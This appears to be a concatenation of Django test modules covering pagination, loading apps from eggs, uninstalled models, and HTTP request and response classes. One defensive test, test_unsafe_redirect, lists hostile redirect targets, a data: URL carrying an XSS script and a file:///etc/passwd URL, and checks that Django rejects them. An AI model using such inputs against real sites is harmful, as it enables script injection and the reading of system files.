        class LenContainer(object):
            def __len__(self):
                return 42
        paginator = Paginator(LenContainer(), 10)
        self.assertEqual(42, paginator.count)
        self.assertEqual(5, paginator.num_pages)
        self.assertEqual([1, 2, 3, 4, 5], list(paginator.page_range))

    def check_indexes(self, params, page_num, indexes):
        """
        Helper method that instantiates a Paginator object from the passed
        params and then checks that the start and end indexes of the passed
        page_num match those given as a 2-tuple in indexes.
        """
        paginator = Paginator(*params)
        if page_num == 'first':
            page_num = 1
        elif page_num == 'last':
            page_num = paginator.num_pages
        page = paginator.page(page_num)
        start, end = indexes
        msg = ("For %s of page %s, expected %s but got %s. Paginator parameters were: %s")
        self.assertEqual(start, page.start_index(), msg % ('start index', page_num, start, page.start_index(), params))
        self.assertEqual(end, page.end_index(), msg % ('end index', page_num, end, page.end_index(), params))

    def test_page_indexes(self):
        """
        Tests that paginator pages have the correct start and end indexes.
        """
        ten = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
        tests = (
            # Each item is three tuples:
            #     First tuple is Paginator parameters - object_list, per_page,
            #         orphans, and allow_empty_first_page.
            #     Second tuple is the start and end indexes of the first page.
            #     Third tuple is the start and end indexes of the last page.
            # Ten items, varying per_page, no orphans.
            ((ten, 1, 0, True), (1, 1), (10, 10)),
            ((ten, 2, 0, True), (1, 2), (9, 10)),
            ((ten, 3, 0, True), (1, 3), (10, 10)),
            ((ten, 5, 0, True), (1, 5), (6, 10)),
            # Ten items, varying per_page, with orphans.
            ((ten, 1, 1, True), (1, 1), (9, 10)),
            ((ten, 1, 2, True), (1, 1), (8, 10)),
            ((ten, 3, 1, True), (1, 3), (7, 10)),
            ((ten, 3, 2, True), (1, 3), (7, 10)),
            ((ten, 3, 4, True), (1, 3), (4, 10)),
            ((ten, 5, 1, True), (1, 5), (6, 10)),
            ((ten, 5, 2, True), (1, 5), (6, 10)),
            ((ten, 5, 5, True), (1, 10), (1, 10)),
            # One item, varying orphans, no empty first page.
            (([1], 4, 0, False), (1, 1), (1, 1)),
            (([1], 4, 1, False), (1, 1), (1, 1)),
            (([1], 4, 2, False), (1, 1), (1, 1)),
            # One item, varying orphans, allow empty first page.
            (([1], 4, 0, True), (1, 1), (1, 1)),
            (([1], 4, 1, True), (1, 1), (1, 1)),
            (([1], 4, 2, True), (1, 1), (1, 1)),
            # Zero items, varying orphans, allow empty first page.
            (([], 4, 0, True), (0, 0), (0, 0)),
            (([], 4, 1, True), (0, 0), (0, 0)),
            (([], 4, 2, True), (0, 0), (0, 0)),
        )
        for params, first, last in tests:
            self.check_indexes(params, 'first', first)
            self.check_indexes(params, 'last', last)

        # When no items and no empty first page, we should get EmptyPage error.
        with self.assertRaises(EmptyPage):
            self.check_indexes(([], 4, 0, False), 1, None)
        with self.assertRaises(EmptyPage):
            self.check_indexes(([], 4, 1, False), 1, None)
        with self.assertRaises(EmptyPage):
            self.check_indexes(([], 4, 2, False), 1, None)

    def test_page_sequence(self):
        """
        Tests that a paginator page acts like a standard sequence.
        """
        eleven = 'abcdefghijk'
        page2 = Paginator(eleven, per_page=5, orphans=1).page(2)
        self.assertEqual(len(page2), 6)
        self.assertIn('k', page2)
        self.assertNotIn('a', page2)
        self.assertEqual(''.join(page2), 'fghijk')
        self.assertEqual(''.join(reversed(page2)), 'kjihgf')

    def test_get_page_hook(self):
        """
        Tests that a Paginator subclass can use the ``_get_page`` hook to
        return an alternative to the standard Page class.
        """
        eleven = 'abcdefghijk'
        paginator = ValidAdjacentNumsPaginator(eleven, per_page=6)
        page1 = paginator.page(1)
        page2 = paginator.page(2)
        self.assertIsNone(page1.previous_page_number())
        self.assertEqual(page1.next_page_number(), 2)
        self.assertEqual(page2.previous_page_number(), 1)
        self.assertIsNone(page2.next_page_number())

    def test_page_range_iterator(self):
        """
        Paginator.page_range should be an iterator.
        """
        self.assertIsInstance(Paginator([1, 2, 3], 2).page_range, type(six.moves.range(0)))


class ModelPaginationTests(TestCase):
    """
    Test pagination with Django model instances
    """
    def setUp(self):
        # Prepare a list of objects for pagination.
        for x in range(1, 10):
            a = Article(headline='Article %s' % x, pub_date=datetime(2005, 7, 29))
            a.save()

    def test_first_page(self):
        paginator = Paginator(Article.objects.order_by('id'), 5)
        p = paginator.page(1)
        self.assertEqual("<Page 1 of 2>", six.text_type(p))
        self.assertQuerysetEqual(p.object_list, [
            "<Article: Article 1>",
            "<Article: Article 2>",
            "<Article: Article 3>",
            "<Article: Article 4>",
            "<Article: Article 5>"
        ])
        self.assertTrue(p.has_next())
        self.assertFalse(p.has_previous())
        self.assertTrue(p.has_other_pages())
        self.assertEqual(2, p.next_page_number())
        with self.assertRaises(InvalidPage):
            p.previous_page_number()
        self.assertEqual(1, p.start_index())
        self.assertEqual(5, p.end_index())

    def test_last_page(self):
        paginator = Paginator(Article.objects.order_by('id'), 5)
        p = paginator.page(2)
        self.assertEqual("<Page 2 of 2>", six.text_type(p))
        self.assertQuerysetEqual(p.object_list, [
            "<Article: Article 6>",
            "<Article: Article 7>",
            "<Article: Article 8>",
            "<Article: Article 9>"
        ])
        self.assertFalse(p.has_next())
        self.assertTrue(p.has_previous())
        self.assertTrue(p.has_other_pages())
        with self.assertRaises(InvalidPage):
            p.next_page_number()
        self.assertEqual(1, p.previous_page_number())
        self.assertEqual(6, p.start_index())
        self.assertEqual(9, p.end_index())

    def test_page_getitem(self):
        """
        Tests proper behavior of a paginator page __getitem__ (queryset
        evaluation, slicing, exception raised).
        """
        paginator = Paginator(Article.objects.order_by('id'), 5)
        p = paginator.page(1)

        # Make sure object_list queryset is not evaluated by an invalid __getitem__ call.
        # (this happens from the template engine when using eg: {% page_obj.has_previous %})
        self.assertIsNone(p.object_list._result_cache)
        with self.assertRaises(TypeError):
            p['has_previous']
        self.assertIsNone(p.object_list._result_cache)
        self.assertNotIsInstance(p.object_list, list)

        # Make sure slicing the Page object with numbers and slice objects work.
        self.assertEqual(p[0], Article.objects.get(headline='Article 1'))
        self.assertQuerysetEqual(p[slice(2)], [
            "<Article: Article 1>",
            "<Article: Article 2>",
        ]
        )
        # After __getitem__ is called, object_list is a list
        self.assertIsInstance(p.object_list, list)

    def test_paginating_unordered_queryset_raises_warning(self):
        msg = (
            "Pagination may yield inconsistent results with an unordered "
            "object_list: <QuerySet [<Article: Article 1>, "
            "<Article: Article 2>, <Article: Article 3>, <Article: Article 4>, "
            "<Article: Article 5>, <Article: Article 6>, <Article: Article 7>, "
            "<Article: Article 8>, <Article: Article 9>]>"
        )
        with self.assertRaisesMessage(UnorderedObjectListWarning, msg):
            Paginator(Article.objects.all(), 5)












from __future__ import unicode_literals

import os

from django.apps import apps
from django.test import SimpleTestCase
from django.test.utils import extend_sys_path
from django.utils._os import upath


class EggLoadingTest(SimpleTestCase):

    def setUp(self):
        self.egg_dir = '%s/eggs' % os.path.dirname(upath(__file__))

    def tearDown(self):
        apps.clear_cache()

    def test_egg1(self):
        """Models module can be loaded from an app in an egg"""
        egg_name = '%s/modelapp.egg' % self.egg_dir
        with extend_sys_path(egg_name):
            with self.settings(INSTALLED_APPS=['app_with_models']):
                models_module = apps.get_app_config('app_with_models').models_module
                self.assertIsNotNone(models_module)
        del apps.all_models['app_with_models']

    def test_egg2(self):
        """Loading an app from an egg that has no models returns no models (and no error)"""
        egg_name = '%s/nomodelapp.egg' % self.egg_dir
        with extend_sys_path(egg_name):
            with self.settings(INSTALLED_APPS=['app_no_models']):
                models_module = apps.get_app_config('app_no_models').models_module
                self.assertIsNone(models_module)
        del apps.all_models['app_no_models']

    def test_egg3(self):
        """Models module can be loaded from an app located under an egg's top-level package"""
        egg_name = '%s/omelet.egg' % self.egg_dir
        with extend_sys_path(egg_name):
            with self.settings(INSTALLED_APPS=['omelet.app_with_models']):
                models_module = apps.get_app_config('app_with_models').models_module
                self.assertIsNotNone(models_module)
        del apps.all_models['app_with_models']

    def test_egg4(self):
        """Loading an app with no models from under the top-level egg package generates no error"""
        egg_name = '%s/omelet.egg' % self.egg_dir
        with extend_sys_path(egg_name):
            with self.settings(INSTALLED_APPS=['omelet.app_no_models']):
                models_module = apps.get_app_config('app_no_models').models_module
                self.assertIsNone(models_module)
        del apps.all_models['app_no_models']

    def test_egg5(self):
        """Loading an app from an egg that has an import error in its models module raises that error"""
        egg_name = '%s/brokenapp.egg' % self.egg_dir
        with extend_sys_path(egg_name):
            with self.assertRaisesMessage(ImportError, 'modelz'):
                with self.settings(INSTALLED_APPS=['broken_app']):
                    pass


class GetModelsTest(SimpleTestCase):
    def setUp(self):
        from .not_installed import models
        self.not_installed_module = models

    def test_get_model_only_returns_installed_models(self):
        with self.assertRaises(LookupError):
            apps.get_model("not_installed", "NotInstalledModel")

    def test_get_models_only_returns_installed_models(self):
        self.assertNotIn(
            "NotInstalledModel",
            [m.__name__ for m in apps.get_models()])






from django.db import models


class NotInstalledModel(models.Model):

    class Meta:
        app_label = 'not_installed'


class RelatedModel(models.Model):

    class Meta:
        app_label = 'not_installed'

    not_installed = models.ForeignKey(NotInstalledModel, models.CASCADE)


class M2MRelatedModel(models.Model):

    class Meta:
        app_label = 'not_installed'

    not_installed = models.ManyToManyField(NotInstalledModel)


















# -*- encoding: utf-8 -*-
from __future__ import unicode_literals

import copy
import json
import os
import pickle
import unittest
import uuid

from django.core.exceptions import SuspiciousOperation
from django.core.serializers.json import DjangoJSONEncoder
from django.core.signals import request_finished
from django.db import close_old_connections
from django.http import (
    BadHeaderError, HttpResponse, HttpResponseNotAllowed,
    HttpResponseNotModified, HttpResponsePermanentRedirect,
    HttpResponseRedirect, JsonResponse, QueryDict, SimpleCookie,
    StreamingHttpResponse, parse_cookie,
)
from django.test import SimpleTestCase
from django.utils import six
from django.utils._os import upath
from django.utils.encoding import force_str
from django.utils.functional import lazystr


class QueryDictTests(SimpleTestCase):
    def test_create_with_no_args(self):
        self.assertEqual(QueryDict(), QueryDict(str('')))

    def test_missing_key(self):
        q = QueryDict()
        with self.assertRaises(KeyError):
            q.__getitem__('foo')

    def test_immutability(self):
        q = QueryDict()
        with self.assertRaises(AttributeError):
            q.__setitem__('something', 'bar')
        with self.assertRaises(AttributeError):
            q.setlist('foo', ['bar'])
        with self.assertRaises(AttributeError):
            q.appendlist('foo', ['bar'])
        with self.assertRaises(AttributeError):
            q.update({'foo': 'bar'})
        with self.assertRaises(AttributeError):
            q.pop('foo')
        with self.assertRaises(AttributeError):
            q.popitem()
        with self.assertRaises(AttributeError):
            q.clear()

    def test_immutable_get_with_default(self):
        q = QueryDict()
        self.assertEqual(q.get('foo', 'default'), 'default')

    def test_immutable_basic_operations(self):
        q = QueryDict()
        self.assertEqual(q.getlist('foo'), [])
        if six.PY2:
            self.assertIs(q.has_key('foo'), False)
        self.assertNotIn('foo', q)
        self.assertEqual(list(six.iteritems(q)), [])
        self.assertEqual(list(six.iterlists(q)), [])
        self.assertEqual(list(six.iterkeys(q)), [])
        self.assertEqual(list(six.itervalues(q)), [])
        self.assertEqual(len(q), 0)
        self.assertEqual(q.urlencode(), '')

    def test_single_key_value(self):
        """Test QueryDict with one key/value pair"""

        q = QueryDict(str('foo=bar'))
        self.assertEqual(q['foo'], 'bar')
        with self.assertRaises(KeyError):
            q.__getitem__('bar')
        with self.assertRaises(AttributeError):
            q.__setitem__('something', 'bar')

        self.assertEqual(q.get('foo', 'default'), 'bar')
        self.assertEqual(q.get('bar', 'default'), 'default')
        self.assertEqual(q.getlist('foo'), ['bar'])
        self.assertEqual(q.getlist('bar'), [])

        with self.assertRaises(AttributeError):
            q.setlist('foo', ['bar'])
        with self.assertRaises(AttributeError):
            q.appendlist('foo', ['bar'])

        if six.PY2:
            self.assertTrue(q.has_key('foo'))
        self.assertIn('foo', q)
        if six.PY2:
            self.assertFalse(q.has_key('bar'))
        self.assertNotIn('bar', q)

        self.assertEqual(list(six.iteritems(q)), [('foo', 'bar')])
        self.assertEqual(list(six.iterlists(q)), [('foo', ['bar'])])
        self.assertEqual(list(six.iterkeys(q)), ['foo'])
        self.assertEqual(list(six.itervalues(q)), ['bar'])
        self.assertEqual(len(q), 1)

        with self.assertRaises(AttributeError):
            q.update({'foo': 'bar'})
        with self.assertRaises(AttributeError):
            q.pop('foo')
        with self.assertRaises(AttributeError):
            q.popitem()
        with self.assertRaises(AttributeError):
            q.clear()
        with self.assertRaises(AttributeError):
            q.setdefault('foo', 'bar')

        self.assertEqual(q.urlencode(), 'foo=bar')

    def test_urlencode(self):
        q = QueryDict(mutable=True)
        q['next'] = '/a&b/'
        self.assertEqual(q.urlencode(), 'next=%2Fa%26b%2F')
        self.assertEqual(q.urlencode(safe='/'), 'next=/a%26b/')
        q = QueryDict(mutable=True)
        q['next'] = '/t\xebst&key/'
        self.assertEqual(q.urlencode(), 'next=%2Ft%C3%ABst%26key%2F')
        self.assertEqual(q.urlencode(safe='/'), 'next=/t%C3%ABst%26key/')

    def test_mutable_copy(self):
        """A copy of a QueryDict is mutable."""
        q = QueryDict().copy()
        with self.assertRaises(KeyError):
            q.__getitem__("foo")
        q['name'] = 'john'
        self.assertEqual(q['name'], 'john')

    def test_mutable_delete(self):
        q = QueryDict(mutable=True)
        q['name'] = 'john'
        del q['name']
        self.assertNotIn('name', q)

    def test_basic_mutable_operations(self):
        q = QueryDict(mutable=True)
        q['name'] = 'john'
        self.assertEqual(q.get('foo', 'default'), 'default')
        self.assertEqual(q.get('name', 'default'), 'john')
        self.assertEqual(q.getlist('name'), ['john'])
        self.assertEqual(q.getlist('foo'), [])

        q.setlist('foo', ['bar', 'baz'])
        self.assertEqual(q.get('foo', 'default'), 'baz')
        self.assertEqual(q.getlist('foo'), ['bar', 'baz'])

        q.appendlist('foo', 'another')
        self.assertEqual(q.getlist('foo'), ['bar', 'baz', 'another'])
        self.assertEqual(q['foo'], 'another')
        if six.PY2:
            self.assertTrue(q.has_key('foo'))
        self.assertIn('foo', q)

        self.assertListEqual(sorted(six.iteritems(q)),
                             [('foo', 'another'), ('name', 'john')])
        self.assertListEqual(sorted(six.iterlists(q)),
                             [('foo', ['bar', 'baz', 'another']), ('name', ['john'])])
        self.assertListEqual(sorted(six.iterkeys(q)),
                             ['foo', 'name'])
        self.assertListEqual(sorted(six.itervalues(q)),
                             ['another', 'john'])

        q.update({'foo': 'hello'})
        self.assertEqual(q['foo'], 'hello')
        self.assertEqual(q.get('foo', 'not available'), 'hello')
        self.assertEqual(q.getlist('foo'), ['bar', 'baz', 'another', 'hello'])
        self.assertEqual(q.pop('foo'), ['bar', 'baz', 'another', 'hello'])
        self.assertEqual(q.pop('foo', 'not there'), 'not there')
        self.assertEqual(q.get('foo', 'not there'), 'not there')
        self.assertEqual(q.setdefault('foo', 'bar'), 'bar')
        self.assertEqual(q['foo'], 'bar')
        self.assertEqual(q.getlist('foo'), ['bar'])
        self.assertIn(q.urlencode(), ['foo=bar&name=john', 'name=john&foo=bar'])

        q.clear()
        self.assertEqual(len(q), 0)

    def test_multiple_keys(self):
        """Test QueryDict with two key/value pairs with same keys."""

        q = QueryDict(str('vote=yes&vote=no'))

        self.assertEqual(q['vote'], 'no')
        with self.assertRaises(AttributeError):
            q.__setitem__('something', 'bar')

        self.assertEqual(q.get('vote', 'default'), 'no')
        self.assertEqual(q.get('foo', 'default'), 'default')
        self.assertEqual(q.getlist('vote'), ['yes', 'no'])
        self.assertEqual(q.getlist('foo'), [])

        with self.assertRaises(AttributeError):
            q.setlist('foo', ['bar', 'baz'])
        with self.assertRaises(AttributeError):
            q.setlist('foo', ['bar', 'baz'])
        with self.assertRaises(AttributeError):
            q.appendlist('foo', ['bar'])

        if six.PY2:
            self.assertIs(q.has_key('vote'), True)
        self.assertIn('vote', q)
        if six.PY2:
            self.assertIs(q.has_key('foo'), False)
        self.assertNotIn('foo', q)
        self.assertEqual(list(six.iteritems(q)), [('vote', 'no')])
        self.assertEqual(list(six.iterlists(q)), [('vote', ['yes', 'no'])])
        self.assertEqual(list(six.iterkeys(q)), ['vote'])
        self.assertEqual(list(six.itervalues(q)), ['no'])
        self.assertEqual(len(q), 1)

        with self.assertRaises(AttributeError):
            q.update({'foo': 'bar'})
        with self.assertRaises(AttributeError):
            q.pop('foo')
        with self.assertRaises(AttributeError):
            q.popitem()
        with self.assertRaises(AttributeError):
            q.clear()
        with self.assertRaises(AttributeError):
            q.setdefault('foo', 'bar')
        with self.assertRaises(AttributeError):
            q.__delitem__('vote')

    if six.PY2:
        def test_invalid_input_encoding(self):
            """
            QueryDicts must be able to handle invalid input encoding (in this
            case, bad UTF-8 encoding), falling back to ISO-8859-1 decoding.

            This test doesn't apply under Python 3 because the URL is a string
            and not a bytestring.
            """
            q = QueryDict(str(b'foo=bar&foo=\xff'))
            self.assertEqual(q['foo'], '\xff')
            self.assertEqual(q.getlist('foo'), ['bar', '\xff'])

    def test_pickle(self):
        q = QueryDict()
        q1 = pickle.loads(pickle.dumps(q, 2))
        self.assertEqual(q, q1)
        q = QueryDict(str('a=b&c=d'))
        q1 = pickle.loads(pickle.dumps(q, 2))
        self.assertEqual(q, q1)
        q = QueryDict(str('a=b&c=d&a=1'))
        q1 = pickle.loads(pickle.dumps(q, 2))
        self.assertEqual(q, q1)

    def test_update_from_querydict(self):
        """Regression test for #8278: QueryDict.update(QueryDict)"""
        x = QueryDict(str("a=1&a=2"), mutable=True)
        y = QueryDict(str("a=3&a=4"))
        x.update(y)
        self.assertEqual(x.getlist('a'), ['1', '2', '3', '4'])

    def test_non_default_encoding(self):
        """#13572 - QueryDict with a non-default encoding"""
        q = QueryDict(str('cur=%A4'), encoding='iso-8859-15')
        self.assertEqual(q.encoding, 'iso-8859-15')
        self.assertEqual(list(six.iteritems(q)), [('cur', '€')])
        self.assertEqual(q.urlencode(), 'cur=%A4')
        q = q.copy()
        self.assertEqual(q.encoding, 'iso-8859-15')
        self.assertEqual(list(six.iteritems(q)), [('cur', '€')])
        self.assertEqual(q.urlencode(), 'cur=%A4')
        self.assertEqual(copy.copy(q).encoding, 'iso-8859-15')
        self.assertEqual(copy.deepcopy(q).encoding, 'iso-8859-15')

    def test_querydict_fromkeys(self):
        self.assertEqual(QueryDict.fromkeys(['key1', 'key2', 'key3']), QueryDict('key1&key2&key3'))

    def test_fromkeys_with_nonempty_value(self):
        self.assertEqual(
            QueryDict.fromkeys(['key1', 'key2', 'key3'], value='val'),
            QueryDict('key1=val&key2=val&key3=val')
        )

    def test_fromkeys_is_immutable_by_default(self):
        # Match behavior of __init__() which is also immutable by default.
        q = QueryDict.fromkeys(['key1', 'key2', 'key3'])
        with self.assertRaisesMessage(AttributeError, 'This QueryDict instance is immutable'):
            q['key4'] = 'nope'

    def test_fromkeys_mutable_override(self):
        q = QueryDict.fromkeys(['key1', 'key2', 'key3'], mutable=True)
        q['key4'] = 'yep'
        self.assertEqual(q, QueryDict('key1&key2&key3&key4=yep'))

    def test_duplicates_in_fromkeys_iterable(self):
        self.assertEqual(QueryDict.fromkeys('xyzzy'), QueryDict('x&y&z&z&y'))

    def test_fromkeys_with_nondefault_encoding(self):
        key_utf16 = b'\xff\xfe\x8e\x02\xdd\x01\x9e\x02'
        value_utf16 = b'\xff\xfe\xdd\x01n\x00l\x00P\x02\x8c\x02'
        q = QueryDict.fromkeys([key_utf16], value=value_utf16, encoding='utf-16')
        expected = QueryDict('', mutable=True)
        expected['ʎǝʞ'] = 'ǝnlɐʌ'
        self.assertEqual(q, expected)

    def test_fromkeys_empty_iterable(self):
        self.assertEqual(QueryDict.fromkeys([]), QueryDict(''))

    def test_fromkeys_noniterable(self):
        with self.assertRaises(TypeError):
            QueryDict.fromkeys(0)


class HttpResponseTests(unittest.TestCase):

    def test_headers_type(self):
        r = HttpResponse()

        # The following tests explicitly test types in addition to values
        # because in Python 2 u'foo' == b'foo'.

        # ASCII unicode or bytes values are converted to native strings.
        r['key'] = 'test'
        self.assertEqual(r['key'], str('test'))
        self.assertIsInstance(r['key'], str)
        r['key'] = 'test'.encode('ascii')
        self.assertEqual(r['key'], str('test'))
        self.assertIsInstance(r['key'], str)
        self.assertIn(b'test', r.serialize_headers())

        # Latin-1 unicode or bytes values are also converted to native strings.
        r['key'] = 'café'
        self.assertEqual(r['key'], force_str('café', 'latin-1'))
        self.assertIsInstance(r['key'], str)
        r['key'] = 'café'.encode('latin-1')
        self.assertEqual(r['key'], force_str('café', 'latin-1'))
        self.assertIsInstance(r['key'], str)
        self.assertIn('café'.encode('latin-1'), r.serialize_headers())

        # Other unicode values are MIME-encoded (there's no way to pass them as bytes).
        r['key'] = '†'
        self.assertEqual(r['key'], str('=?utf-8?b?4oCg?='))
        self.assertIsInstance(r['key'], str)
        self.assertIn(b'=?utf-8?b?4oCg?=', r.serialize_headers())

        # The response also converts unicode or bytes keys to strings, but requires
        # them to contain ASCII
        r = HttpResponse()
        del r['Content-Type']
        r['foo'] = 'bar'
        l = list(r.items())
        self.assertEqual(len(l), 1)
        self.assertEqual(l[0], ('foo', 'bar'))
        self.assertIsInstance(l[0][0], str)

        r = HttpResponse()
        del r['Content-Type']
        r[b'foo'] = 'bar'
        l = list(r.items())
        self.assertEqual(len(l), 1)
        self.assertEqual(l[0], ('foo', 'bar'))
        self.assertIsInstance(l[0][0], str)

        r = HttpResponse()
        with self.assertRaises(UnicodeError):
            r.__setitem__('føø', 'bar')
        with self.assertRaises(UnicodeError):
            r.__setitem__('føø'.encode('utf-8'), 'bar')

    def test_long_line(self):
        # Bug #20889: long lines trigger newlines to be added to headers
        # (which is not allowed due to bug #10188)
        h = HttpResponse()
        f = 'zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz a\xcc\x88'.encode('latin-1')
        f = f.decode('utf-8')
        h['Content-Disposition'] = 'attachment; filename="%s"' % f
        # This one is triggering http://bugs.python.org/issue20747, that is Python
        # will itself insert a newline in the header
        h['Content-Disposition'] = 'attachment; filename="EdelRot_Blu\u0308te (3)-0.JPG"'

    def test_newlines_in_headers(self):
        # Bug #10188: Do not allow newlines in headers (CR or LF)
        r = HttpResponse()
        with self.assertRaises(BadHeaderError):
            r.__setitem__('test\rstr', 'test')
        with self.assertRaises(BadHeaderError):
            r.__setitem__('test\nstr', 'test')

    def test_dict_behavior(self):
        """
        Test for bug #14020: Make HttpResponse.get work like dict.get
        """
        r = HttpResponse()
        self.assertIsNone(r.get('test'))

    def test_non_string_content(self):
        # Bug 16494: HttpResponse should behave consistently with non-strings
        r = HttpResponse(12345)
        self.assertEqual(r.content, b'12345')

        # test content via property
        r = HttpResponse()
        r.content = 12345
        self.assertEqual(r.content, b'12345')

    def test_iter_content(self):
        r = HttpResponse(['abc', 'def', 'ghi'])
        self.assertEqual(r.content, b'abcdefghi')

        # test iter content via property
        r = HttpResponse()
        r.content = ['idan', 'alex', 'jacob']
        self.assertEqual(r.content, b'idanalexjacob')

        r = HttpResponse()
        r.content = [1, 2, 3]
        self.assertEqual(r.content, b'123')

        # test odd inputs
        r = HttpResponse()
        r.content = ['1', '2', 3, '\u079e']
        # '\xde\x9e' == unichr(1950).encode('utf-8')
        self.assertEqual(r.content, b'123\xde\x9e')

        # .content can safely be accessed multiple times.
        r = HttpResponse(iter(['hello', 'world']))
        self.assertEqual(r.content, r.content)
        self.assertEqual(r.content, b'helloworld')
        # __iter__ can safely be called multiple times (#20187).
        self.assertEqual(b''.join(r), b'helloworld')
        self.assertEqual(b''.join(r), b'helloworld')
        # Accessing .content still works.
        self.assertEqual(r.content, b'helloworld')

        # Accessing .content also works if the response was iterated first.
        r = HttpResponse(iter(['hello', 'world']))
        self.assertEqual(b''.join(r), b'helloworld')
        self.assertEqual(r.content, b'helloworld')

        # Additional content can be written to the response.
        r = HttpResponse(iter(['hello', 'world']))
        self.assertEqual(r.content, b'helloworld')
        r.write('!')
        self.assertEqual(r.content, b'helloworld!')

    def test_iterator_isnt_rewound(self):
        # Regression test for #13222
        r = HttpResponse('abc')
        i = iter(r)
        self.assertEqual(list(i), [b'abc'])
        self.assertEqual(list(i), [])

    def test_lazy_content(self):
        r = HttpResponse(lazystr('helloworld'))
        self.assertEqual(r.content, b'helloworld')

    def test_file_interface(self):
        r = HttpResponse()
        r.write(b"hello")
        self.assertEqual(r.tell(), 5)
        r.write("привет")
        self.assertEqual(r.tell(), 17)

        r = HttpResponse(['abc'])
        r.write('def')
        self.assertEqual(r.tell(), 6)
        self.assertEqual(r.content, b'abcdef')

        # with Content-Encoding header
        r = HttpResponse()
        r['Content-Encoding'] = 'winning'
        r.write(b'abc')
        r.write(b'def')
        self.assertEqual(r.content, b'abcdef')

    def test_stream_interface(self):
        r = HttpResponse('asdf')
        self.assertEqual(r.getvalue(), b'asdf')

        r = HttpResponse()
        self.assertIs(r.writable(), True)
        r.writelines(['foo\n', 'bar\n', 'baz\n'])
        self.assertEqual(r.content, b'foo\nbar\nbaz\n')

    def test_unsafe_redirect(self):
        bad_urls = [
            'data:text/html,<script>window.alert("xss")</script>',
            'mailto:test@example.com',
            'file:///etc/passwd',
        ]
        for url in bad_urls:
            with self.assertRaises(SuspiciousOperation):
                HttpResponseRedirect(url)
            with self.assertRaises(SuspiciousOperation):
                HttpResponsePermanentRedirect(url)


class HttpResponseSubclassesTests(SimpleTestCase):
    def test_redirect(self):
        response = HttpResponseRedirect('/redirected/')
        self.assertEqual(response.status_code, 302)
        # Test that standard HttpResponse init args can be used
        response = HttpResponseRedirect(
            '/redirected/',
            content='The resource has temporarily moved',
            content_type='text/html',
        )
        self.assertContains(response, 'The resource has temporarily moved', status_code=302)
        # Test that url attribute is right
        self.assertEqual(response.url, response['Location'])

    def test_redirect_lazy(self):
        """Make sure HttpResponseRedirect works with lazy strings."""
        r = HttpResponseRedirect(lazystr('/redirected/'))
        self.assertEqual(r.url, '/redirected/')

    def test_redirect_repr(self):
        response = HttpResponseRedirect('/redirected/')
        expected = '<HttpResponseRedirect status_code=302, "text/html; charset=utf-8", url="/redirected/">'
        self.assertEqual(repr(response), expected)

    def test_not_modified(self):
        response = HttpResponseNotModified()
        self.assertEqual(response.status_code, 304)
        # 304 responses should not have content/content-type
        with self.assertRaises(AttributeError):
            response.content = "Hello dear"
        self.assertNotIn('content-type', response)

    def test_not_allowed(self):
        response = HttpResponseNotAllowed(['GET'])
        self.assertEqual(response.status_code, 405)
        # Test that standard HttpResponse init args can be used
        response = HttpResponseNotAllowed(['GET'], content='Only the GET method is allowed', content_type='text/html')
        self.assertContains(response, 'Only the GET method is allowed', status_code=405)

    def test_not_allowed_repr(self):
        response = HttpResponseNotAllowed(['GET', 'OPTIONS'], content_type='text/plain')
        expected = '<HttpResponseNotAllowed [GET, OPTIONS] status_code=405, "text/plain">'
        self.assertEqual(repr(response), expected)


class JsonResponseTests(SimpleTestCase):
    def test_json_response_non_ascii(self):
        data = {'key': 'łóżko'}
        response = JsonResponse(data)
        self.assertEqual(json.loads(response.content.decode()), data)

    def test_json_response_raises_type_error_with_default_setting(self):
        with self.assertRaisesMessage(
            TypeError,
            'In order to allow non-dict objects to be serialized set the '
            'safe parameter to False'
        ):
            JsonResponse([1, 2, 3])

    def test_json_response_text(self):
        response = JsonResponse('foobar', safe=False)
        self.assertEqual(json.loads(response.content.decode()), 'foobar')

    def test_json_response_list(self):
        response = JsonResponse(['foo', 'bar'], safe=False)
        self.assertEqual(json.loads(response.content.decode()), ['foo', 'bar'])

    def test_json_response_uuid(self):
        u = uuid.uuid4()
        response = JsonResponse(u, safe=False)
        self.assertEqual(json.loads(response.content.decode()), str(u))

    def test_json_response_custom_encoder(self):
        class CustomDjangoJSONEncoder(DjangoJSONEncoder):
            def encode(self, o):
                return json.dumps({'foo': 'bar'})

        response = JsonResponse({}, encoder=CustomDjangoJSONEncoder)
        self.assertEqual(json.loads(response.content.decode()), {'foo': 'bar'})

    def test_json_response_passing_arguments_to_json_dumps(self):
        response = JsonResponse({'foo': 'bar'}, json_dumps_params={'indent': 2})
        self.assertEqual(response.content.decode(), '{\n  "foo": "bar"\n}')


class StreamingHttpResponseTests(SimpleTestCase):
    def test_streaming_response(self):
        r = StreamingHttpResponse(iter(['hello', 'world']))

        # iterating over the response itself yields bytestring chunks.
        chunks = list(r)
        self.assertEqual(chunks, [b'hello', b'world'])
        for chunk in chunks:
            self.assertIsInstance(chunk, six.binary_type)

        # and the response can only be iterated once.
        self.assertEqual(list(r), [])

        # even when a sequence that can be iterated many times, like a list,
        # is given as content.
        r = StreamingHttpResponse(['abc', 'def'])
        self.assertEqual(list(r), [b'abc', b'def'])
        self.assertEqual(list(r), [])

        # iterating over Unicode strings still yields bytestring chunks.
        r.streaming_content = iter(['hello', 'café'])
        chunks = list(r)
        # '\xc3\xa9' == unichr(233).encode('utf-8')
        self.assertEqual(chunks, [b'hello', b'caf\xc3\xa9'])
        for chunk in chunks:
            self.assertIsInstance(chunk, six.binary_type)

        # streaming responses don't have a `content` attribute.
        self.assertFalse(hasattr(r, 'content'))

        # and you can't accidentally assign to a `content` attribute.
        with self.assertRaises(AttributeError):
            r.content = 'xyz'

        # but they do have a `streaming_content` attribute.
        self.assertTrue(hasattr(r, 'streaming_content'))

        # that exists so we can check if a response is streaming, and wrap or
        # replace the content iterator.
        r.streaming_content = iter(['abc', 'def'])
        r.streaming_content = (chunk.upper() for chunk in r.streaming_content)
        self.assertEqual(list(r), [b'ABC', b'DEF'])

        # coercing a streaming response to bytes doesn't return a complete HTTP
        # message like a regular response does. it only gives us the headers.
        r = StreamingHttpResponse(iter(['hello', 'world']))
        self.assertEqual(
            six.binary_type(r), b'Content-Type: text/html; charset=utf-8')

        # and this won't consume its content.
        self.assertEqual(list(r), [b'hello', b'world'])

        # additional content cannot be written to the response.
        r = StreamingHttpResponse(iter(['hello', 'world']))
        with self.assertRaises(Exception):
            r.write('!')

        # and we can't tell the current position.
        with self.assertRaises(Exception):
            r.tell()

